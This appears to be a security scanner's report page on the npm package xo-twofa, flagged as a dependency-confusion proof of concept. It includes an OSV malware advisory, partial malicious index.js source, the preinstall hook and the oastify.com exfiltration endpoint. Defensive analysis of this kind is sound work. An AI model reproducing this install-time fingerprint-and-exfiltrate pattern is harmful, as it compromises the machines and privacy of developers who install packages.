registry / xo-twofa / 28.0.0

xo-twofa@28.0.0

Dependency confusion proof of concept package

AI Security Review

scanned 20d ago · by lpm-firewall-ai

npm installation automatically executes index.js. It fingerprints the host and exfiltrates the JSON result to an external OAST endpoint.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

npm preinstall during package installation

Impact

Unconsented disclosure of host identity, home-directory path, and DNS configuration.

Mechanism

install-time host fingerprinting and HTTPS exfiltration

Attack narrative

Installing the package invokes its preinstall hook, which executes index.js without user interaction. That script gathers local host and network-identifying data and POSTs it to an external OAST endpoint. The package description identifies it as a dependency-confusion proof of concept, consistent with this install-time callback behavior.

Rationale

Direct source inspection confirms unconsented install-time host fingerprint exfiltration. This is concrete malicious behavior, not an inert test artifact.

Evidence

package.jsonindex.jsxo-twofa-28.0.0.tgz

Network endpoints1

f4k2mnpoengdb7o3etftn7fmkdq5ew5ku.oastify.com/hit

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-11105

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in xo-twofa (npm)

Details

package.json declares a `preinstall` script that runs `node index.js` on `npm install`. index.js collects host identifiers (os.hostname(), os.platform(), os.arch(), os.homedir(), dns.getServers()) and POSTs them as JSON to the hardcoded host `f4k2mnpoengdb7o3etftn7fmkdq5ew5ku.oastify.com` (a Burp Collaborator out-of-band interaction endpoint). The beacon fires automatically on install without user interaction and self-describes as a dependency-confusion proof of concept. ## Source: ghsa-malware (3b53f3137f847d7234a065286565e0112a828bb14dd580d6ea46a9c262397294) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OSV advisory ADVISORY PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs `node index.js` via preinstall.
index.js collects hostname, OS, architecture, home directory, and DNS servers.
index.js POSTs collected host data to f4k2mnpoengdb7o3etftn7fmkdq5ew5ku.oastify.com/hit during install.

Evidence against

No credential-file reads, shell execution, or payload download found in the inspected files.
Bundled archive contains the same two-file source.

Behavioral surface

Source

Network

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 1 file(s), 564 B of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1const https = require("https"); L2: const os = require("os"); L3: const dns = require("dns"); L4: L5: const data = JSON.stringify({ L6: hostname: os.hostname(), L7: platform: os.platform(), ... L26: L27: req.write(data); L28: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

•matchType = malicious_source_fingerprint_signature signature = 55ef5c661ef1e2d6 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = stargateproxyserv@28.0.0 matchedPath = index.js matchedIdentity = npm:c3RhcmdhdGVwcm94eXNlcnY:28.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

xo-twofa-28.0.0.tgzView file

•path = xo-twofa-28.0.0.tgz kind = compressed_blob sizeBytes = 1192 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

xo-twofa-28.0.0.tgzView on unpkg

•path = xo-twofa-28.0.0.tgz kind = nested_archive_needs_inspection sizeBytes = 1192 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

xo-twofa-28.0.0.tgzView on unpkg

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

High

Known Malware Source Fingerprint Signature

Findings

3 High2 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

MediumNetwork

MediumShips Compressed Blobxo-twofa-28.0.0.tgz

LowScripts Present

LowNested Archive Needs Inspectionxo-twofa-28.0.0.tgz

LowNo License